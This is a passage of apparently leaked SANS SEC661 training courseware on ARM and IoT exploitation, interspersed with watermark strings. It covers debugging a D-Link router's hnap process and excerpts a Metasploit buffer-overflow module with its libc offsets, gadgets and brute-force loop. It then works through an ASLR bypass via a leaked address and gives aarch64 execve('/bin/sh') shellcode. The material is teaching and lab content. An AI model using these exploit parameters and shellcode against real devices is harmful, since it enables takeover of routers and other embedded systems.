process that httpd starts up. We have been calling this the hnap process, because that is what it gets
named, but the binary itself is named /htdocs/cgibin.
To debug cgibin in gdb, we first need to attach to the httpd daemon. In this example it is using the
process id of 5529. Once we are debugging httpd, we need to let gdb know that we want to debug any child
processes that gets started up. We can do this with the follow-fork-mode command in gdb.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba httpd
gdb
process id: 5529
dogfish vm
micede1865@wii999_com
(gdb) set follow-fork-mode child
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
We can see gdb’s follow-fork-mode settings by using the help command while in gdb.
Paul Erwin
Set debugger response to a program call of fork or vfork.
A fork or vfork creates a new process. follow-fork-mode can be:
parent - the original process is debugged after a fork
child - the new process is debugged after a fork
The unfollowed process will continue to run.
By default, the debugger will follow the parent process.
We set the follow-fork-mode to child so that whenever httpd starts up the cgibin/hnap process
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
we will detach from httpd and debug the child process.
live
dogfish vm
micede1865@wii999_com
[Attaching after process 5529 fork to child process 7170]
[New inferior 2 (process 7170)]
[Detaching after fork from parent process 5529] hnap
[Inferior 1 (process 5529) detached]
process 7170 is executing new program:
process id: 7170
/home/nemo/dlink_rootfs/htdocs/cgibin
...
[Switching to process 7170]
Emulated dlink router
Once the child process is started, gdb switches to “follow the fork” and starts debugging the hnap
process.
Paul Erwin
Note: There are some timing issues that are discussed in the lab, since we don’t want to detach early and
debug the wrong child process.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Calculating the addresses of gadgets given a base address
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
{
'Offset' => 1024,
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000
# (an x of 0/1 works well)
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so
micede1865@wii999_com
}
'FirstGadget'
'SecondGadget'
'Arch'
=> 0x18298,
=> 0x40CB8,
=> ARCH_ARMLE,
# see comments below for gadget information
],
In Metasploit’s dlink hnap buffer overflow exploit, the addresses of the gadgets and the system function
are pre calculated prior to throwing the exploit by adding their offsets to the base address of libc. These code
snippets show the base address of 0x400DA000 used (LibcBase) and the offsets for system and both of the
gadgets.
Paul Erwin
By adding the offsets to the base of libc, we get the addresses where these gadgets would be loaded in
process memory if the libc base address was 0x400da000. However, if the target system is using ASLR,
this address will be different every time the process is ran. So even though we have calculated the addresses
based on LibcBase, they will not be accurate if the LibcBase address used here does not match the base
address of libc in the running process.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We cover adding offsets to base addresses in the ROP and Memory Leak sections of this course.
Reference:
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Keep trying to send the payload in a while loop
• Listening service must remain available
shellcode = prepare_shellcode_arm(cmd)
micede1865@wii999_com
while (not @elf_sent)
if counter % 50.00 == 0 && counter != 0.00
print_status("#{peer} - Tried ... times in ... seconds.")
end
send_payload(shellcode)
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
counter += 1
end
print_status(“... - The device downloaded the payload after ... tries / ... seconds.")
In order to get around ASLR, the Metasploit module will brute force the exploit by sending it over and over
until it gets a response indicating that the exploit worked. It uses the base address for libc from the
previous slide until there is an instance of the process that uses that base address. This is possible because the
Paul Erwin
httpd process that receives these exploit attempts will create a child process (hnap) and pass along the
input. The child process will crash every time the libc base address does not match. Because the httpd
process remains up and stable, this type of brute forcing is possible. If we lost access to the web interface the
first time we had a failed exploit attempt, we could not exploit the router the same way.
This is covered in more depth in the Dlink Exploit section of this course.
Reference:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb
live
09b91222e5d2d3d668cf8e52ec5d35ba
In November 2016, Pedro Ribeiro disclosed a remote buffer overflow in the hnap process on Dlink routers.
The overflow is due to the improper implementation of strncpy with no bounds checks on user-provided
input. An attacker can write past a local stack buffer and overwrite the saved lr, giving them control of
execution when the function returns.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Starting up an emulated router
• Launching a remote buffer overflow exploit
from the hammerhead vm
This lab will be done in the Dogfish virtual
machine.
• (Optional) observe a crash in the child process See the SANS SEC661 workbook for detailed lab
• (Optional) step through the memory instructions.
corruption in the child process and observe
how we gain control of execution via a Tools used: python, gdb
vulnerable implementation of strncpy
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Memory Leaks
09b91222e5d2d3d668cf8e52ec5d35ba
Bypassing ASLR is a tough challenge, but memory leaks help make this a possibility. If
we can disclose enough information about the runtime memory layout, we can build a
successful exploit. Some math is involved here, but if we can find a good point of
micede1865@wii999_com
reference, we can calculate the addresses required in order to execute our payload
without crashing the target process. Typically, memory leaks require a separate exploit
or some other type of information disclosure.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
libc
09b91222e5d2d3d668cf8e52ec5d35ba
• With ASLR enabled, we do
not know the runtime
addresses of the items we
need for the exploit ???? system
micede1865@wii999_com
???? gadget1
???? “/bin/sh”
With ASLR enabled, we don’t know the addresses to use in our exploit because the base address of the target
segments start at different locations every time the process starts up. If we can leak a memory address that we
can use to calculate the addresses of the artifacts we need, it may be possible to bypass ASLR. However, when
Paul Erwin
we leak the address, it is important that we do not crash or restart the process. If we do, new addresses will be
used when the process starts back up, due to ASLR being enabled.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
different whenever the
????
process is restarted
nemo@mako:~$ cat /proc/sys/kernel/randomize_va_space
2
micede1865@wii999_com
nemo@mako:~$ cat /proc/709/maps | grep libc | grep r-xp
b6e28000-b6f11000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
The cat example will show the status of ASLR on the system, it is a kernel setting that can be read from
/proc/sys/kernel/randomize_va_space
0 = ASLR disabled
Paul Erwin
1 = Randomize code (also includes vdso and stack)
2 = Randomize code and data
This output shows multiple runs of the same program (leak), it gets process ids 709, 740, and 746. For each
iteration, we see that the base address for the code segment of libc is different. This is due to ASLR. The
base address changes, but all of the offsets within segment are the same.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
2
09b91222e5d2d3d668cf8e52ec5d35ba
b6e1b000-b6f04000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
micede1865@wii999_com
Reference:
https://linux-audit.com/linux-aslr-and-kernelrandomize_va_space-setting/
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
disclosure usually in the
form of a separate exploit
• If the target program
crashes or restarts, the
addresses change
micede1865@wii999_com 0xb6e99310 memmove
As an example, if we can leak the address
of memmove, how could we leverage this
to bypass ASLR?
In this example, we stage a memory leak of memmove in order to use this as an example to show how we can
leverage a memory leak.
Paul Erwin
To leak an address, you would need to find some type of information disclosure, which might be finding and
successfully running a separate exploit that does not crash the target process.
Since ASLR will use new base addresses when a program restarts, we will have to leverage the leak without
crashing or restarting the target process.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
static analysis tools can be
used to determine offsets
• Offsets will stay the same
in relation to the base
address of the loaded
micede1865@wii999_com
memory segment 0xb6e99310 memmove +0x5f310
Using static analysis tools, we need to find the offset of memmove in the libc shared object. We need to use
the same version of the binary (i.e., libc-2.31.so) as the target. A copy of this file is available in the
~/labs/leak folder. If the binary on the target changes, then we need to update the offsets we find in our
static analysis.
Paul Erwin
The following tools could be used to do this:
objdump, IDA, Ghidra, radare2, readelf
We can pull target binaries off the device or even out of a firmware update when available.
In this example on the slide, we use readelf to find the offset of memmove.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
for memmove
• aaa = analyze and autoname functions
• is = list symbols
nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
...
micede1865@wii999_com
[0x0001aad8]> aaa
...
[0x0001aad8]> is | grep memmove
1175 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove4 0xb6e99310 memmove +0x5f310
1185 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove8
1208 0x000aa1bc GLOBAL FUNC 14 __memmove_chk
2016 0x000aacac GLOBAL FUNC 16 __wmemmove_chk
2090 0x0005f310 GLOBAL FUNC 832 memmove
2153 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove
2299 0x0006504c WEAK FUNC 6 wmemmove
Below is an example of how to do it using radare2. We see the offset for the memmove function at +0x5f310
into the libc code segment and we also have the actual address of memmove from the running process
0xb6e99310.
-
-
Paul Erwin
r2 <filename> - open the file
aaa – auto analyze with autonaming
- is – info symbols
nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
...
[0x0001aad8]> aaa
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
...
[0x0001aad8]> is | grep memmove
1175 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove4
1185 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove8
1208 0x000aa1bc 0x000aa1bc GLOBAL FUNC 14 __memmove_chk
2016 0x000aacac 0x000aacac GLOBAL FUNC 16 __wmemmove_chk
2090 0x0005f310 0x0005f310 GLOBAL FUNC 832 memmove
2153 0x0001ac48 0x0001ac48 GLOBAL FUNC 4 __aeabi_memmove
2299 0x0006504c 0x0006504c WEAK FUNC 6 live
wmemmove
09b91222e5d2d3d668cf8e52ec5d35ba
of memmove and since we
+0
With the runtime address of memmove and its offset from the base of libc, we can do some math to get the
runtime address of the base of libc.
Paul Erwin
memmove runtime address – memmove offset = libc runtime address
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
of memmove from its
0xb6e3a000 +0
nemo@hammerhead:~$ python
micede1865@wii999_com
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or
"license" for more information. 0xb6e99310 memmove +0x5f310
>>> hex(0xb6e99310 - 0x5f310)
'0xb6e3a000'
The base of libc was previously an unknown due to ASLR. But with the runtime address of memmove and
Paul Erwin
the offset of memmove inside libc, we can calculate the runtime base address of libc.
Based on our math, libc is loaded at 0xb6e3a000 for this iteration of the process. When it restarts (due to
ASLR), it will be loaded at a different address. This is why it is important to not crash the target process while
acquiring the leaked address.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
to get the addresses for
0xb6e3a000 +0
...
...
micede1865@wii999_com
nemo@hammerhead:~/labs/leak$ radare2 libc-2.31.so
[0x0001aad8]> aaa
0xb6e99310 memmove +0x5f310
[0x0001aad8]> is | grep system
238 0x000c11ac GLOBAL FUNC 96 svcerr_systemerr
614 0x00032990 GLOBAL FUNC 28 __libc_system
1410 0x00032990 WEAK FUNC 28 system
Now that we have the base address of libc, we can calculate the runtime address of other artifacts that we
need. For example, if we need the system address, we can use static analysis tools to find the offset. Be careful
as to whether or not the function is THUMB. If it is THUMB, you will need to add +1 to the address when
Paul Erwin
putting together the final version of your exploit. To determine if an instruction is THUMB, check to see if the
width of the instruction is 2 bytes using a static analysis tool like Ghidra, Radare2, IDA. Readelf can also do
this quickly from the command line. In the output below we see that system is a THUMB instruction. Not all
tools indicate this automatically as seen in the slide.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
1410: 00032991 28 FUNC WEAK DEFAULT 14 system@@GLIBC_2.4
live
09b91222e5d2d3d668cf8e52ec5d35ba
system offset to get the
0xb6e3a000 +0
micede1865@wii999_com
...
>>> hex(0xb6e3a000 + 0x32990)
'0xb6e6c990'
0xb6e99310 memmove +0x5f310
After we find the offset of system (0x32990) with our static analysis tools, we can then add this offset to the
base address of libc to get the runtime address of system. The runtime address of system is 0xb6e6c990.
hex(0xb6e3a000 + 0x32990)
'0xb6e6c990’ Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
symbol, but we can use
0xb6e3a000 +0
micede1865@wii999_com
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so
| grep pop | grep r0 0xb6e99310 memmove +0x5f310
...
5f3fc: e8bd8011 pop {r0, r4, pc} gadget1 +0x5f3fc
We can repeat this technique to find the other artifacts we need. Previously we identified pop {r0, r4,
pc} as a ROP gadget we want to use. We use objdump to find the offset of this instruction. We see the
offset as 0x5f3fc.
b198 cbz
Paul Erwin
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep pop | grep r0
4cfde: r0, 4d008 <_IO_popen@@GLIBC_2.4+0x38>
4d006: b108 cbz r0, 4d00c <_IO_popen@@GLIBC_2.4+0x3c>
5f3fc: e8bd8011 pop {r0, r4, pc}
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
libc
• Just like system, we can
09b91222e5d2d3d668cf8e52ec5d35ba
add the offset of the
0xb6e3a000 +0
micede1865@wii999_com
nemo@hammerhead:~$ python 0xb6e99310 memmove +0x5f310
...
>>> hex(0xb6e3a000 + 0x5f3fc) 0xb6e993fc gadget1 +0x5f3fc
'0xb6e993fc'
Remember the technique we used to find the runtime address of system? We can do the same thing with
gadget1. The runtime address for gadget1 is 0xb6e993fc.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
in radare2
0xb6e3a000 +0
micede1865@wii999_com
[0x0001aad8]> aaa
...
[0x0001aad8]> izz | grep /bin/sh
17650 0x000e034c 7 8 .rodata ascii /bin/sh
0xb6e99310 memmove +0x5f310
Radare2 can be used to find the offset of a “/bin/sh” string that we have identified previously for our ROP
gadgets. We use the same technique and find the offset for the string at 0xe034c, and this makes the address of
the “/bin/sh” string at runtime 0xb6f1a34c.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
| izzz
| iz- [addr]
Dump Strings from whole binary to r2 shell (for huge files)
Purge string via bin.str.purge
[0x0001aad8]> izz | grep /bin/sh
17650 0x000e034c 0x000e034c 7 8 .rodata ascii /bin/sh
live
libc
• We now have the runtime
09b91222e5d2d3d668cf8e52ec5d35ba
addresses needed to
assemble and throw the
exploit and bypass ASLR
system
gadget1 0xb6e993fc
micede1865@wii999_com
system
“/bin/sh”
0xb6e6c990
0xb6f1a34c
0xb6e6c991
gadget1
We need to use +1 for system
since this is a THUMB function.
“/bin/sh”
Now we have the runtime addresses of the artifacts we need to build our ROP chain. We did this by leveraging
a (staged) memory leak, calculating the runtime address of libc, and then adding the static offsets to the
runtime address of libc to get the runtime addresses of the artifacts we needed to craft our exploit.
Paul Erwin
Take a look at /home/nemo/labs/leak/exploit.py and see how the math is done. The only variable
that needs to change in this script is the memmove address. The math in the script takes care of the rest.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
memmove_addr = 0xb6e99310
09b91222e5d2d3d668cf8e52ec5d35ba
struct.pack('<I', system_addr)
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
ASLR can be a devastating exploit mitigation. Without knowledge of the memory layout, attackers don't know
what addresses to use in their payloads. Memory leaks can potentially provide enough information to piece
together an effective exploit. In this lab we use a staged memory leak in order to demonstrate how they can
be leveraged to bypass ASLR.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Finding the base address of a memory segment
given a leaked address
• Using tools to find the offset of items within a
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
64-bit ARM
09b91222e5d2d3d668cf8e52ec5d35ba
Exploiting a 64-bit ARM system shares many of the same concepts as a 32-bit system.
At a glance, we notice the addresses and registers are larger, but many of the
underlying fundamentals are the same. The larger address space can be problematic at
micede1865@wii999_com
times, but there are also some benefits to this platform. Smartphones, laptops, and
other consumer-based systems have transitioned to 64-bit, but many of the smaller,
embedded systems still run 32-bit ARM.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
• Introduced in ARMv8
• Continued in ARMv9 (Announced March 30, 2021)
• Backward compatibility to run 32-bit ARM instructions
micede1865@wii999_com
Referred to as ARM64
or AARCH64
64-bit ARM became available with the introduction of the ARMv8 architecture. So, if you are running
ARMv7 or below, know that you will be on a 32-bit platform. ARMv8 processors are backward compatible
and can run in either 32-bit (aarch32) or 64-bit (aarch64) mode. It is common to refer to ARM 64-bit as
Paul Erwin
AARCH64. These terms are interchangeable, and you will see this throughout the labs. While many of the IoT
devices are running 32-bit architectures, you will find 64-bit ARM processors in cell phones and other systems
that are designed for heavy use by consumers.
ARMv9 was introduced at the end of March 2021 and will no doubt introduce many new improvements and
security features.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
The registers in 64-bit ARM start with “X” instead of “R” as we saw with the 32-bit ARM processors. The
lower 32-bits of the 64-bit registers can also be referenced with “W”. The 64-bit ARM processor now has 31
(x0-x30) general purpose registers instead of 13. SP, and PC are considered special purpose registers.
Paul Erwin
There are also new registers. For example, the special registers XZR (can also be referenced as WZR) are
always 0.
Note: We will use this later in our shellcode example.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Another point to keep in mind, especially when writing shellcode is that the program counter (PC) is not
considered a general-purpose register in A64, and it cannot be used with data processing instructions. See the
resources below for additional information.
Reference:
https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---general-purpose-registers
https://developer.arm.com/documentation/102374/0101/Registers-in-AArch64---other-registers
live
Under the hood, the assembly and object code will be different from 32-bit ARM because it has to match the
architecture in order to run. However, the C code is at a higher layer of abstraction, and it can be the same (in
most cases) in both 32-bit and 64-bit ARM. Gcc will compile the source code and create intermediate
Paul Erwin
assembly instructions that match the target architecture.
Cross-compiling for aarch64 on a non-native platform is done the same way, but with a different toolchain
(aarch64-linux-gnu-gcc).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
simple_loop: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter
/lib/ld-linux-aarch64.so.1, BuildID[sha1]=ed6354678540f6f7352053032535621a914c3c8d, for GNU/Linux
3.7.0, not stripped
09b91222e5d2d3d668cf8e52ec5d35ba
Reading symbols from simple_loop...
(No debugging symbols found in simple_loop)
gef➤ disas main
Dump of assembler code for function main:
0x000000000000076c <+0>: stp x29, x30, [sp, #-48]!
0x0000000000000770 <+4>: mov x29, sp
0x0000000000000774 <+8>: str w0, [sp, #28]
0x0000000000000778 <+12>: str x1, [sp, #16]
micede1865@wii999_com
0x000000000000077c <+16>: mov
0x0000000000000780 <+20>: str
0x0000000000000784 <+24>: str
w0, #0xa
w0, [sp, #44]
wzr, [sp, #40]
// #10
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs64/simple_loop/src$ uname -a
Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64
x86_64 x86_64 GNU/Linux
micede1865@wii999_com
nemo@hammerhead:~/labs64/simple_loop/src$ ./simple_loop.arm64
bash: ./simple_loop.arm64: cannot execute binary file: Exec format error
There is also a qemu tool for executing 64-bit ARM binaries. Like qemu-arm, qemu-aarch64 will execute
user mode programs. As you can see, many of these tools operate in a similar way as the 32-bit tools.
Paul Erwin
Note: These programs must be statically compiled, or you need to supply a path for them to find their
dependencies with the “-L” parameter.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
[0x00400570]> s main
[0x00400750]> pdf
; CODE XREF from loc.__wrap_main @
┌ 104: int main (int argc, char **argv);
... <skipped>...
│ 0x0040076c 00200091 add x0, x0, 8
│ 0x00400770 000040f9 ldr x0, [x0]
│ 0x00400774 ceffff97 bl sym.verify_pin
│ 0x00400778 e0bf0039 strb w0, [var_2fh]
│ 0x0040077c e0bf4039 ldrb w0, [var_2fh] ; [0x2f:4]=-1 ; 47
│ 0x00400780 1f000071 cmp w0, 0
│ ┌─< 0x00400784 a0000054 b.eq 0x400798
│ │ 0x00400788 800200d0 adrp x0, 0x452000
│ │ 0x0040078c 00e02b91 add x0, x0, 0xaf8 ; 0x452af8 ; "The door is locked. Try again\n" ; const char *s
│ │ 0x00400790 fc320094 bl sym.puts ; int puts(const char *s)
│
│
│
│
│
micede1865@wii999_com
┌──< 0x00400794
││
│
│
0x0040079c
0x004007a0
06000014
00602c91
f8320094
b 0x4007ac
; CODE XREF from main @ 0x400784
│└─> 0x00400798 800200d0 adrp x0, 0x452000
add x0, x0, 0xb18
bl sym.puts
; 0x452b18 ; "Door unlocked!!!\n" ; const char *s
; int puts(const char *s)
│ │ 0x004007a4 00008052 movz w0, 0
│ │ 0x004007a8 a0160094 bl sym.exit ; void exit(int status)
│ │ ; CODE XREF from main @ 0x400794
│ └──> 0x004007ac 00008052 movz w0, 0
│ 0x004007b0 fd7bc3a8 ldp x29, x30, [sp], 0x30
└ 0x004007b4 c0035fd6 ret
[0x00400750]>
Radare2 also works the same way. The addresses shown in the listing are not the full 64-bit addresses. Also,
notice that each instruction is 4 bytes.
Paul Erwin
This example was done from the hammerhead vm.
nemo@hammerhead:~/labs64/verify_pin$ r2 ./verify_pin
[0x00400570]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
[x] Finding xrefs in noncode section with anal.in=io.maps
[x] Analyze value pointers (aav)
[x] Value from 0x00400000 to 0x0047639d (aav)
[x] 0x00400000-0x0047639d in 0x400000-0x47639d (aav)
[x] Emulate functions to find computed references (aaef)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
Continued ...
live
09b91222e5d2d3d668cf8e52ec5d35ba
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crypto false
endian little
havecode true
laddr 0x0
micede1865@wii999_com
lang c
linenum true
lsyms true
machine ARM aarch64
maxopsz 4
minopsz 4
...
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
Ghidra also works the same with aarch64 binaries. All of the features work with both 32-bit and 64-bit
versions of ARM.
nemo@hammerhead:~$ ./ghidraRun
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
tiger vm
(aarch64) nemo@tiger:~$ lscpu
Architecture:
CPU op-mode(s):
aarch64
32-bit, 64-bit
Byte Order: Little Endian
...
A 64-bit ARM virtual machine named “tiger” is available that can be ran from within the hammerhead vm. It
has 2 flash image files in addition to its virtual hard disk (tiger.img) but runs similar and is started the
same as the mako and dogfish vms. Once it is booted up, it is still recommended to use ssh for accessing the
Paul Erwin
this vm. This will take full advantage of the display in the Linux console.
nemo@hammerhead:~$ cd qemu/tiger
nemo@hammerhead:~/qemu/tiger$ ls
conf flash0.img flash1.img start_tiger.sh tiger.img
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Continued on the following page.
live
We will work through some labs with 64-bit ARM, and you will see the differences, but you will also notice
that many of the underlying fundamentals are the same. This is true with buffer overflows as well.
Paul Erwin
One major differences are the addresses and registers that you need to work with. More bytes in the addresses
mean more potential for bad characters causing problems. It also means more space will be needed for ROP
gadget buffers, etc.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
.section .text
.global _start
_start:
micede1865@wii999_com
// execve("/bin/sh", NULL, NULL)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
// x1 = 0x000000000000622F ("b/")
// x1 = 0x000000006E69622F ("nib/")
// x1 = 0x0000732F6E69622F ("s/nib/")
// x1 = 0x0068732F6E69622F ("hs/nib/")
str x1, [sp, #-8]! // push x1
mov x1, xzr // args[1] = NULL
mov x2, xzr // args[2] = NULL
add x0, sp, x1 // args[0] = pointer to "/bin/sh\0"
mov x8, #221 // Systemcall Number = 221 (execve)
svc #0x1337 // Invoke Systemcall
Assembling shellcode works the same in 64-bit ARM. We can also link object files with ld –N for testing
just like we did with 32-bit ARM.
Paul Erwin
In this shellcode, we take advantage of the xzr register which always holds zero. The instructions ‘mov x1,
xzr’ and ‘mov x2, xzr’ are used and the opcodes for these instructions will not have null bytes like
we would have if we were to use ‘movs x1, #0’.
Also, when we invoke a supervisor call using the svc instruction, we need to put the syscall id into the
x8 register. This is different from 32-bit ARM that used the r7 register.
The syscall ids are different as well. In 64-bit ARM the syscall id for execve is 221, but on 32-
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
bit ARM it was 11. See the link in Resources for more information.
nemo@tiger:~/labs64/shellcode$ ./execve
$
Reference:
ARM 64-bit syscall ids
live
https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h
https://www.exploit-db.com/exploits/47048
09b91222e5d2d3d668cf8e52ec5d35ba
Working with 64-bit ARM is different from working with 32-bit, but there are also many similarities. This lab
is intended to demonstrate the differences while at the same time show how the underlying fundamentals
apply.
OBJECTIVES PREPARATION
•
•
•
micede1865@wii999_com
Compiling and debugging
Observing function calls
Assembling shellcode and extracting bytes
This lab will be done in the Tiger virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661 Conclusion
Thank You!
micede1865@wii999_com
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
PEN TESTING RESOURCES
SANS EMAIL
GENERAL INQUIRIES: info@sans.org
pen-testing.sans.org REGISTRATION: registration@sans.org
Twitter: @SANSPenTest TUITION: tuition@sans.org
PRESS/PR: press@sans.org
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Workbook
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||
PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.
09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.
micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.
If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.
24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.
